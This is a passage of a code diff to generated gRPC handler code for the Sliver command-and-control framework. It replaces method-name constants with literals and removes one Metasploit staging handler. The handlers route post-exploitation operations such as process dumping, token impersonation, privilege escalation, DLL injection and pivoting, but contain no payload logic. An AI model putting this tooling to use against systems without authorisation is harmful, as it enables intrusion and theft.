info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_DeleteImplantProfile_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/DeleteImplantProfile",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).DeleteImplantProfile(ctx, req.(*clientpb.DeleteReq))
@@ -4418,7 +4219,7 @@ func _SliverRPC_SaveImplantProfile_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_SaveImplantProfile_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/SaveImplantProfile",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).SaveImplantProfile(ctx, req.(*clientpb.ImplantProfile))
@@ -4426,24 +4227,6 @@ func _SliverRPC_SaveImplantProfile_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
-func _SliverRPC_MsfStage_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
- in := new(clientpb.MsfStagerReq)
- if err := dec(in); err != nil {
- return nil, err
- }
- if interceptor == nil {
- return srv.(SliverRPCServer).MsfStage(ctx, in)
- }
- info := &grpc.UnaryServerInfo{
- Server: srv,
- FullMethod: SliverRPC_MsfStage_FullMethodName,
- }
- handler := func(ctx context.Context, req interface{}) (interface{}, error) {
- return srv.(SliverRPCServer).MsfStage(ctx, req.(*clientpb.MsfStagerReq))
- }
- return interceptor(ctx, in, info, handler)
-}
-
func _SliverRPC_ShellcodeRDI_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.ShellcodeRDIReq)
if err := dec(in); err != nil {
@@ -4454,7 +4237,7 @@ func _SliverRPC_ShellcodeRDI_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ShellcodeRDI_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ShellcodeRDI",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ShellcodeRDI(ctx, req.(*clientpb.ShellcodeRDIReq))
@@ -4472,7 +4255,7 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetCompiler_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetCompiler",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetCompiler(ctx, req.(*commonpb.Empty))
@@ -4490,7 +4273,7 @@ func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ShellcodeEncoder_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq))
@@ -4508,7 +4291,7 @@ func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ShellcodeEncoderMap_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty))
@@ -4526,7 +4309,7 @@ func _SliverRPC_TrafficEncoderMap_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_TrafficEncoderMap_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/TrafficEncoderMap",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).TrafficEncoderMap(ctx, req.(*commonpb.Empty))
@@ -4544,7 +4327,7 @@ func _SliverRPC_TrafficEncoderAdd_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_TrafficEncoderAdd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/TrafficEncoderAdd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).TrafficEncoderAdd(ctx, req.(*clientpb.TrafficEncoder))
@@ -4562,7 +4345,7 @@ func _SliverRPC_TrafficEncoderRm_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_TrafficEncoderRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/TrafficEncoderRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).TrafficEncoderRm(ctx, req.(*clientpb.TrafficEncoder))
@@ -4580,7 +4363,7 @@ func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Websites_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Websites",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Websites(ctx, req.(*commonpb.Empty))
@@ -4598,7 +4381,7 @@ func _SliverRPC_Website_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Website_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Website",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Website(ctx, req.(*clientpb.Website))
@@ -4616,7 +4399,7 @@ func _SliverRPC_WebsiteRemove_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WebsiteRemove_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WebsiteRemove",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WebsiteRemove(ctx, req.(*clientpb.Website))
@@ -4634,7 +4417,7 @@ func _SliverRPC_WebsiteAddContent_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WebsiteAddContent_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WebsiteAddContent",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WebsiteAddContent(ctx, req.(*clientpb.WebsiteAddContent))
@@ -4652,7 +4435,7 @@ func _SliverRPC_WebsiteUpdateContent_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WebsiteUpdateContent_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WebsiteUpdateContent",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WebsiteUpdateContent(ctx, req.(*clientpb.WebsiteAddContent))
@@ -4670,7 +4453,7 @@ func _SliverRPC_WebsiteRemoveContent_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WebsiteRemoveContent_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WebsiteRemoveContent",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WebsiteRemoveContent(ctx, req.(*clientpb.WebsiteRemoveContent))
@@ -4688,7 +4471,7 @@ func _SliverRPC_Ping_Handler(srv interface{}, ctx context.Context, dec func(inte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Ping_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Ping",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Ping(ctx, req.(*sliverpb.Ping))
@@ -4706,7 +4489,7 @@ func _SliverRPC_Ps_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Ps_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Ps",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Ps(ctx, req.(*sliverpb.PsReq))
@@ -4724,7 +4507,7 @@ func _SliverRPC_Terminate_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Terminate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Terminate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Terminate(ctx, req.(*sliverpb.TerminateReq))
@@ -4742,7 +4525,7 @@ func _SliverRPC_Ifconfig_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Ifconfig_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Ifconfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Ifconfig(ctx, req.(*sliverpb.IfconfigReq))
@@ -4760,7 +4543,7 @@ func _SliverRPC_Netstat_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Netstat_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Netstat",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Netstat(ctx, req.(*sliverpb.NetstatReq))
@@ -4778,7 +4561,7 @@ func _SliverRPC_Ls_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Ls_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Ls",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Ls(ctx, req.(*sliverpb.LsReq))
@@ -4796,7 +4579,7 @@ func _SliverRPC_Cd_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Cd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Cd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Cd(ctx, req.(*sliverpb.CdReq))
@@ -4814,7 +4597,7 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Pwd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Pwd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Pwd(ctx, req.(*sliverpb.PwdReq))
@@ -4832,7 +4615,7 @@ func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Mv_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Mv",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq))
@@ -4850,7 +4633,7 @@ func _SliverRPC_Cp_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Cp_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Cp",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Cp(ctx, req.(*sliverpb.CpReq))
@@ -4868,7 +4651,7 @@ func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interf
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Rm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Rm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Rm(ctx, req.(*sliverpb.RmReq))
@@ -4886,7 +4669,7 @@ func _SliverRPC_Mkdir_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Mkdir_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Mkdir",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Mkdir(ctx, req.(*sliverpb.MkdirReq))
@@ -4904,7 +4687,7 @@ func _SliverRPC_Download_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Download_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Download",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Download(ctx, req.(*sliverpb.DownloadReq))
@@ -4922,7 +4705,7 @@ func _SliverRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Upload_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Upload",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Upload(ctx, req.(*sliverpb.UploadReq))
@@ -4940,7 +4723,7 @@ func _SliverRPC_Grep_Handler(srv interface{}, ctx context.Context, dec func(inte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Grep_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Grep",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Grep(ctx, req.(*sliverpb.GrepReq))
@@ -4958,7 +4741,7 @@ func _SliverRPC_Chmod_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Chmod_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Chmod",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Chmod(ctx, req.(*sliverpb.ChmodReq))
@@ -4976,7 +4759,7 @@ func _SliverRPC_Chown_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Chown_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Chown",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Chown(ctx, req.(*sliverpb.ChownReq))
@@ -4994,7 +4777,7 @@ func _SliverRPC_Chtimes_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Chtimes_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Chtimes",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Chtimes(ctx, req.(*sliverpb.ChtimesReq))
@@ -5012,7 +4795,7 @@ func _SliverRPC_MemfilesList_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MemfilesList_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MemfilesList",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MemfilesList(ctx, req.(*sliverpb.MemfilesListReq))
@@ -5030,7 +4813,7 @@ func _SliverRPC_MemfilesAdd_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MemfilesAdd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MemfilesAdd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MemfilesAdd(ctx, req.(*sliverpb.MemfilesAddReq))
@@ -5048,7 +4831,7 @@ func _SliverRPC_MemfilesRm_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MemfilesRm_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MemfilesRm",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MemfilesRm(ctx, req.(*sliverpb.MemfilesRmReq))
@@ -5066,7 +4849,7 @@ func _SliverRPC_Mount_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Mount_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Mount",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Mount(ctx, req.(*sliverpb.MountReq))
@@ -5084,7 +4867,7 @@ func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ProcessDump_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ProcessDump",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ProcessDump(ctx, req.(*sliverpb.ProcessDumpReq))
@@ -5102,7 +4885,7 @@ func _SliverRPC_RunAs_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RunAs_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RunAs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RunAs(ctx, req.(*sliverpb.RunAsReq))
@@ -5120,7 +4903,7 @@ func _SliverRPC_Impersonate_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Impersonate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Impersonate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Impersonate(ctx, req.(*sliverpb.ImpersonateReq))
@@ -5138,7 +4921,7 @@ func _SliverRPC_RevToSelf_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RevToSelf_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RevToSelf",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RevToSelf(ctx, req.(*sliverpb.RevToSelfReq))
@@ -5156,7 +4939,7 @@ func _SliverRPC_GetSystem_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetSystem_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetSystem",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetSystem(ctx, req.(*clientpb.GetSystemReq))
@@ -5174,7 +4957,7 @@ func _SliverRPC_Task_Handler(srv interface{}, ctx context.Context, dec func(inte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Task_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Task",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Task(ctx, req.(*sliverpb.TaskReq))
@@ -5192,7 +4975,7 @@ func _SliverRPC_Msf_Handler(srv interface{}, ctx context.Context, dec func(inter
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Msf_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Msf",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Msf(ctx, req.(*clientpb.MSFReq))
@@ -5210,7 +4993,7 @@ func _SliverRPC_MsfRemote_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MsfRemote_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MsfRemote",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MsfRemote(ctx, req.(*clientpb.MSFRemoteReq))
@@ -5228,7 +5011,7 @@ func _SliverRPC_ExecuteAssembly_Handler(srv interface{}, ctx context.Context, de
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ExecuteAssembly_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ExecuteAssembly",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecuteAssembly(ctx, req.(*sliverpb.ExecuteAssemblyReq))
@@ -5246,7 +5029,7 @@ func _SliverRPC_Migrate_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Migrate_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Migrate",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Migrate(ctx, req.(*clientpb.MigrateReq))
@@ -5264,7 +5047,7 @@ func _SliverRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Execute_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Execute",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Execute(ctx, req.(*sliverpb.ExecuteReq))
@@ -5282,7 +5065,7 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ExecuteWindows_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ExecuteWindows",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecuteWindows(ctx, req.(*sliverpb.ExecuteWindowsReq))
@@ -5300,7 +5083,7 @@ func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Sideload_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Sideload",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Sideload(ctx, req.(*sliverpb.SideloadReq))
@@ -5318,7 +5101,7 @@ func _SliverRPC_SpawnDll_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_SpawnDll_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/SpawnDll",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).SpawnDll(ctx, req.(*sliverpb.InvokeSpawnDllReq))
@@ -5336,7 +5119,7 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Screenshot_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Screenshot",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Screenshot(ctx, req.(*sliverpb.ScreenshotReq))
@@ -5354,7 +5137,7 @@ func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CurrentTokenOwner_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CurrentTokenOwner",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CurrentTokenOwner(ctx, req.(*sliverpb.CurrentTokenOwnerReq))
@@ -5372,7 +5155,7 @@ func _SliverRPC_Services_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Services_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Services",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Services(ctx, req.(*sliverpb.ServicesReq))
@@ -5390,7 +5173,7 @@ func _SliverRPC_ServiceDetail_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ServiceDetail_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ServiceDetail",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ServiceDetail(ctx, req.(*sliverpb.ServiceDetailReq))
@@ -5408,7 +5191,7 @@ func _SliverRPC_StartServiceByName_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartServiceByName_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartServiceByName",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartServiceByName(ctx, req.(*sliverpb.StartServiceByNameReq))
@@ -5426,7 +5209,7 @@ func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_PivotStartListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/PivotStartListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotStartListener(ctx, req.(*sliverpb.PivotStartListenerReq))
@@ -5444,7 +5227,7 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_PivotStopListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/PivotStopListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotStopListener(ctx, req.(*sliverpb.PivotStopListenerReq))
@@ -5462,7 +5245,7 @@ func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Conte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_PivotSessionListeners_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq))
@@ -5480,7 +5263,7 @@ func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_PivotGraph_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/PivotGraph",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty))
@@ -5498,7 +5281,7 @@ func _SliverRPC_StartService_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartService_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartService",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartService(ctx, req.(*sliverpb.StartServiceReq))
@@ -5516,7 +5299,7 @@ func _SliverRPC_StopService_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StopService_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StopService",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StopService(ctx, req.(*sliverpb.StopServiceReq))
@@ -5534,7 +5317,7 @@ func _SliverRPC_RemoveService_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RemoveService_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RemoveService",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RemoveService(ctx, req.(*sliverpb.RemoveServiceReq))
@@ -5552,7 +5335,7 @@ func _SliverRPC_MakeToken_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_MakeToken_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/MakeToken",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).MakeToken(ctx, req.(*sliverpb.MakeTokenReq))
@@ -5570,7 +5353,7 @@ func _SliverRPC_GetEnv_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetEnv_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetEnv",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetEnv(ctx, req.(*sliverpb.EnvReq))
@@ -5588,7 +5371,7 @@ func _SliverRPC_SetEnv_Handler(srv interface{}, ctx context.Context, dec func(in
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_SetEnv_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/SetEnv",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).SetEnv(ctx, req.(*sliverpb.SetEnvReq))
@@ -5606,7 +5389,7 @@ func _SliverRPC_UnsetEnv_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_UnsetEnv_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/UnsetEnv",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
